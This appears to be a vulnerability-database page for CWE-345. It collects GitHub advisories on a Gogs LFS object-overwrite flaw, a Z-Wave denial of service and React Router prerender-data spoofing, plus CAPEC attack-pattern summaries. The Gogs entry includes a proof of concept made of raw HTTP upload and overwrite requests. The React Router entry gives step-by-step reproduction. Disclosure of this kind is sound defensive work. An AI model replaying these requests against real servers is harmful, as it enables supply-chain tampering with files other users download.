All LFS objects hosted on Gogs can be maliciously overwritten. Supply-chain attack is possible, and when user download LFS object from webpage, there's no warning at all.
Fix Suggestion
Uploaded LFS objects must be verified to ensure their content matches the claimed SHA-256 hash, to prevent the upload of tampered files.
Fix example: https://code.rhodecode.com/rhodecode-vcsserver/changeset/a680a60521bf02c29413d718ebca36c4f692ea4a?diffmode=unified
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.14.1"
},
"package": {
"ecosystem": "Go",
"name": "gogs.io/gogs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.14.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25921"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-05T19:14:41Z",
"nvd_published_at": "2026-03-05T19:16:03Z",
"severity": "CRITICAL"
},
"details": "### Summary\nOverwritable LFS object across different repos leads to supply-chain attack, all LFS objects are vulnerable to be maliciously overwritten by malicious attackers.\n\n### Details\nGogs store all LFS objects in the same place, no isolation between different repositories. (repo id not concatenated to storage path) https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/lfsutil/storage.go#L52-L58\n\nGogs does not verify uploaded LFS file content against its claimed SHA-256, meaning attackers can manipulate the uploaded file like injecting backdoor. https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/lfsutil/storage.go#L79-L89\n\nHere\u0027s the comment that trust client to retry upload allowing them to overwrite. However, this assumption does not hold in the case of a malicious client. https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/route/lfs/basic.go#L111-L113\n\n### PoC\n\n```\n# ./gogs -v\nGogs version 0.13.0\n```\n\n#### 1. User (admin1) upload a LFS object into their repository `admin1/testlfs.git` normally\n\n```\nPOST http://172.29.121.170/admin1/testlfs.git/info/lfs/objects/batch\nUser-Agent: git-lfs/3.0.2 (GitHub; linux amd64; go 1.17.2)\nAccept-Encoding: gzip, deflate, br\nAccept: application/vnd.git-lfs+json\nConnection: keep-alive\nContent-Type: application/vnd.git-lfs+json\nAuthorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI=\nContent-Length: 168\n\n{\"operation\": \"upload\", \"objects\": [{\"oid\": \"5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a\", \"size\": 1048576}], \"ref\": {\"name\": \"refs/heads/master\"}}\n\nresponse: \u003cResponse [200]\u003e\nConnection: close\nContent-Length: 438\nContent-Type: application/vnd.git-lfs+json\nDate: Thu, 28 Nov 2024 13:57:47 GMT\nSet-Cookie: lang=en-US; Path=/; Max-Age=2147483647\n\n{\u0027objects\u0027: [{\u0027actions\u0027: {\u0027upload\u0027: {\u0027header\u0027: {\u0027Content-Type\u0027: \u0027application/octet-stream\u0027},\n \u0027href\u0027: \u0027http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a\u0027},\n \u0027verify\u0027: {\u0027href\u0027: \u0027http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify\u0027}},\n \u0027oid\u0027: \u00275f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a\u0027,\n \u0027size\u0027: 1048576}],\n \u0027transfer\u0027: \u0027basic\u0027}\n\n[STEP3] file_upload PUT http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a\nheaders: {\u0027Content-Type\u0027: \u0027application/octet-stream\u0027, \u0027Accept\u0027: \u0027application/vnd.git-lfs+json\u0027, \u0027Authorization\u0027: \u0027Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI=\u0027}\nresponse: \u003cResponse [200]\u003e\n[verify POST] http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify\nPOST http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify\nUser-Agent: git-lfs/3.0.2 (GitHub; linux amd64; go 1.17.2)\nAccept-Encoding: gzip, deflate, br\nAccept: application/vnd.git-lfs+json\nConnection: keep-alive\nContent-Type: application/vnd.git-lfs+json\nAuthorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI=\nCookie: lang=en-US\nContent-Length: 92\n\n{\"oid\": \"5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a\", \"size\": 1048576}\n\nresponse: \u003cResponse [200]\u003e\nConnection: close\nContent-Length: 0\nDate: Thu, 28 Nov 2024 13:57:47 GMT\n```\n\nIn this step, upload a LFS object `5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a`\n\n#### 2. Attacker `user2` overwrite this file by uploading manipulated content to their repo `user2/public.git`\n\n```\nPUT http://172.29.121.170:3000/user2/public.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a\nContent-Type: application/octet-stream\nAccept: application/vnd.git-lfs+json\nAuthorization: Basic dXNlcjI6NTRmZGU5ZmI3YjdmOTQ0MmM3MzY4ODhlMWIyNjZmMWE4MzAyMzE5NQ==\n\nresponse: \u003cResponse [200]\u003e\n```\n\n#### 3. Verify the content has been overwritten:\n\n```\n# curl http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a -H \"Authorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI=\" -i\nHTTP/1.1 200 OK\nContent-Length: 1048576\nConnection: keep-alive\nContent-Type: application/octet-stream\nDate: Thu, 28 Nov 2024 14:01:53 GMT\nKeep-Alive: timeout=4\nProxy-Connection: keep-alive\nSet-Cookie: lang=en-US; Path=/; Max-Age=2147483647\n\ncurl: (18) transfer closed with 1048563 bytes remaining to read\n2222 replaced\n```\n\n### Impact\nAll LFS objects hosted on Gogs can be maliciously overwritten. Supply-chain attack is possible, and when user download LFS object from webpage, there\u0027s no warning at all. \n\n### Fix Suggestion\n\nUploaded LFS objects must be verified to ensure their content matches the claimed SHA-256 hash, to prevent the upload of tampered files.\n\nFix example: https://code.rhodecode.com/rhodecode-vcsserver/changeset/a680a60521bf02c29413d718ebca36c4f692ea4a?diffmode=unified",
"id": "GHSA-cj4v-437j-jq4c",
"modified": "2026-03-05T22:28:32Z",
"published": "2026-03-05T19:14:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/security/advisories/GHSA-cj4v-437j-jq4c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25921"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/pull/8166"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/commit/81ee8836445ac888d99da8b652be7d5cbc5c4d5c"
},
{
"type": "PACKAGE",
"url": "https://github.com/gogs/gogs"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/releases/tag/v0.14.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Gogs: Cross-repository LFS object overwrite via missing content hash verification"
}
GHSA-CP7V-2P64-673R
Vulnerability from github – Published: 2024-04-27 00:30 – Updated: 2024-09-27 18:32Malformed Device Reset Locally command classes can be sent to temporarily deny service to an end device. Any frames sent by the end device will not be acknowledged by the gateway during this time.
{
"affected": [],
"aliases": [
"CVE-2024-3051"
],
"database_specific": {
"cwe_ids": [
"CWE-248",
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-26T22:15:08Z",
"severity": "HIGH"
},
"details": "Malformed Device Reset Locally command classes can be sent to temporarily deny service to an end device. Any frames sent by the end device will not be acknowledged by the gateway during this time.\u00a0",
"id": "GHSA-cp7v-2p64-673r",
"modified": "2024-09-27T18:32:21Z",
"published": "2024-04-27T00:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3051"
},
{
"type": "WEB",
"url": "https://community.silabs.com/068Vm0000045w2j"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CPJ6-FHP6-MR6J
Vulnerability from github – Published: 2025-04-24 16:31 – Updated: 2026-01-16 22:01Summary
After some research, it turns out that it's possible to modify pre-rendered data by adding a header to the request. This allows to completely spoof its contents and modify all the values of the data object passed to the HTML. Latest versions are impacted.
Details
The vulnerable header is X-React-Router-Prerender-Data, a specific JSON object must be passed to it in order for the spoofing to be successful as we will see shortly. Here is the vulnerable code :
To use the header, React-router must be used in Framework mode, and for the attack to be possible the target page must use a loader.
Steps to reproduce
Versions used for our PoC: - "@react-router/node": "^7.5.0", - "@react-router/serve": "^7.5.0", - "react": "^19.0.0" - "react-dom": "^19.0.0" - "react-router": "^7.5.0"
- Install React-Router with its default configuration in Framework mode (https://reactrouter.com/start/framework/installation)
- Add a simple page using a loader (example:
routes/ssr) - Access your page (which uses the loader) by suffixing it with
.data. In our case the page is called/ssr:
We access it by adding the suffix .data and retrieve the data object, needed for the header:
- Send your request by adding the
X-React-Router-Prerender-Dataheader with the previously retrieved object as its value. You can change any value of yourdataobject (do not touch the other values, the latter being necessary for the object to be processed correctly and not throw an error):
As you can see, all values have been changed/overwritten by the values provided via the header.
Impact
The impact is significant, if a cache system is in place, it is possible to poison a response in which all of the data transmitted via a loader would be altered by an attacker allowing him to take control of the content of the page and modify it as he wishes via a cache-poisoning attack. This can lead to several types of attacks including potential stored XSS depending on the context in which the data is injected and/or how the data is used on the client-side.
Credits
- Rachid Allam (zhero;)
- Yasser Allam (inzo_)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.5.1"
},
"package": {
"ecosystem": "npm",
"name": "react-router"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0-pre.0"
},
{
"fixed": "7.5.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-43865"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2025-04-24T16:31:32Z",
"nvd_published_at": "2025-04-25T01:15:43Z",
"severity": "HIGH"
},
"details": "## Summary\nAfter some research, it turns out that it\u0027s possible to modify pre-rendered data by adding a header to the request. This allows to completely spoof its contents and modify all the values \u200b\u200bof the data object passed to the HTML. Latest versions are impacted.\n\n## Details\nThe vulnerable header is `X-React-Router-Prerender-Data`, a specific JSON object must be passed to it in order for the spoofing to be successful as we will see shortly. Here is [the vulnerable code](https://github.com/remix-run/react-router/blob/e6c53a0130559b4a9bd47f9cf76ea5b08a69868a/packages/react-router/lib/server-runtime/routes.ts#L87) :\n\n\u003cimg width=\"776\" alt=\"Capture d\u2019e\u0301cran 2025-04-07 a\u0300 05 36 58\" src=\"https://github.com/user-attachments/assets/c95b0b33-15ce-4d30-9f5e-b10525dd6ab4\" /\u003e\n\nTo use the header, React-router must be used in Framework mode, and for the attack to be possible the target page must use a loader.\n\n## Steps to reproduce \nVersions used for our PoC: \n- \"@react-router/node\": \"^7.5.0\",\n- \"@react-router/serve\": \"^7.5.0\",\n- \"react\": \"^19.0.0\"\n- \"react-dom\": \"^19.0.0\"\n- \"react-router\": \"^7.5.0\"\n\n1. Install React-Router with its default configuration in Framework mode (https://reactrouter.com/start/framework/installation)\n2. Add a simple page using a loader (example: `routes/ssr`)\n3. Access your page (*which uses the loader*) by suffixing it with `.data`. In our case the page is called `/ssr`:\n\n\n\nWe access it by adding the suffix `.data` and retrieve the data object, needed for the header:\n\n\n\n4. Send your request by adding the `X-React-Router-Prerender-Data` header with the previously retrieved object as its value. You can change any value of your `data` object (do not touch the other values, the latter being necessary for the object to be processed correctly and not throw an error):\n\n\n\nAs you can see, all values \u200b\u200bhave been changed/overwritten by the values \u200b\u200bprovided via the header. \n\n## Impact\nThe impact is significant, if a cache system is in place, it is possible to poison a response in which all of the data transmitted via a loader would be altered by an attacker allowing him to take control of the content of the page and modify it as he wishes via a cache-poisoning attack. This can lead to several types of attacks including potential stored XSS depending on the context in which the data is injected and/or how the data is used on the client-side.\n\n## Credits\n- Rachid Allam (zhero;)\n- Yasser Allam (inzo_)",
"id": "GHSA-cpj6-fhp6-mr6j",
"modified": "2026-01-16T22:01:19Z",
"published": "2025-04-24T16:31:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/remix-run/react-router/security/advisories/GHSA-cpj6-fhp6-mr6j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43865"
},
{
"type": "WEB",
"url": "https://github.com/remix-run/react-router/commit/c84302972a152d851cf5dd859ff332b354b70111"
},
{
"type": "PACKAGE",
"url": "https://github.com/remix-run/react-router"
},
{
"type": "WEB",
"url": "https://github.com/remix-run/react-router/blob/e6c53a0130559b4a9bd47f9cf76ea5b08a69868a/packages/react-router/lib/server-runtime/routes.ts#L87"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "React Router allows pre-render data spoofing on React-Router framework mode"
}
No mitigation information available for this CWE.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-141: Cache Poisoning
An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers' objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache. The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value.
CAPEC-142: DNS Cache Poisoning
A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.
CAPEC-148: Content Spoofing
An adversary modifies content to make it contain something other than what the original content producer intended while keeping the apparent source of the content unchanged. The term content spoofing is most often used to describe modification of web pages hosted by a target to display the adversary's content instead of the owner's content. However, any content can be spoofed, including the content of email messages, file transfers, or the content of other network communication protocols. Content can be modified at the source (e.g. modifying the source file for a web page) or in transit (e.g. intercepting and modifying a message between the sender and recipient). Usually, the adversary will attempt to hide the fact that the content has been modified, but in some cases, such as with web site defacement, this is not necessary. Content Spoofing can lead to malware exposure, financial fraud (if the content governs financial transactions), privacy violations, and other unwanted outcomes.
CAPEC-218: Spoofing of UDDI/ebXML Messages
An attacker spoofs a UDDI, ebXML, or similar message in order to impersonate a service provider in an e-business transaction. UDDI, ebXML, and similar standards are used to identify businesses in e-business transactions. Among other things, they identify a particular participant, WSDL information for SOAP transactions, and supported communication protocols, including security protocols. By spoofing one of these messages an attacker could impersonate a legitimate business in a transaction or could manipulate the protocols used between a client and business. This could result in disclosure of sensitive information, loss of message integrity, or even financial fraud.
CAPEC-384: Application API Message Manipulation via Man-in-the-Middle
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack can allow the attacker to gain unauthorized privileges within the application, or conduct attacks such as phishing, deceptive strategies to spread malware, or traditional web-application attacks. The techniques require use of specialized software that allow the attacker to perform adversary-in-the-middle (CAPEC-94) communications between the web browser and the remote system. Despite the use of AiTH software, the attack is actually directed at the server, as the client is one node in a series of content brokers that pass information along to the application framework. Additionally, it is not true "Adversary-in-the-Middle" attack at the network layer, but an application-layer attack the root cause of which is the master applications trust in the integrity of code supplied by the client.
CAPEC-385: Transaction or Event Tampering via Application API Manipulation
An attacker hosts or joins an event or transaction within an application framework in order to change the content of messages or items that are being exchanged. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, substitute one item or another, spoof an existing item and conduct a false exchange, or otherwise change the amounts or identity of what is being exchanged. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system in order to change the content of various application elements. Often, items exchanged in game can be monetized via sales for coin, virtual dollars, etc. The purpose of the attack is for the attack to scam the victim by trapping the data packets involved the exchange and altering the integrity of the transfer process.
CAPEC-386: Application API Navigation Remapping
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of links/buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains links/buttons that point to an attacker controlled destination. Some applications make navigation remapping more difficult to detect because the actual HREF values of images, profile elements, and links/buttons are masked. One example would be to place an image in a user's photo gallery that when clicked upon redirected the user to an off-site location. Also, traditional web vulnerabilities (such as CSRF) can be constructed with remapped buttons or links. In some cases navigation remapping can be used for Phishing attacks or even means to artificially boost the page view, user site reputation, or click-fraud.
CAPEC-387: Navigation Remapping To Propagate Malicious Content
An adversary manipulates either egress or ingress data from a client within an application framework in order to change the content of messages and thereby circumvent the expected application logic.
CAPEC-388: Application API Button Hijacking
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains buttons that point to an attacker controlled destination.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.
CAPEC-701: Browser in the Middle (BiTM)
An adversary exploits the inherent functionalities of a web browser, in order to establish an unnoticed remote desktop connection in the victim's browser to the adversary's system. The adversary must deploy a web client with a remote desktop session that the victim can access.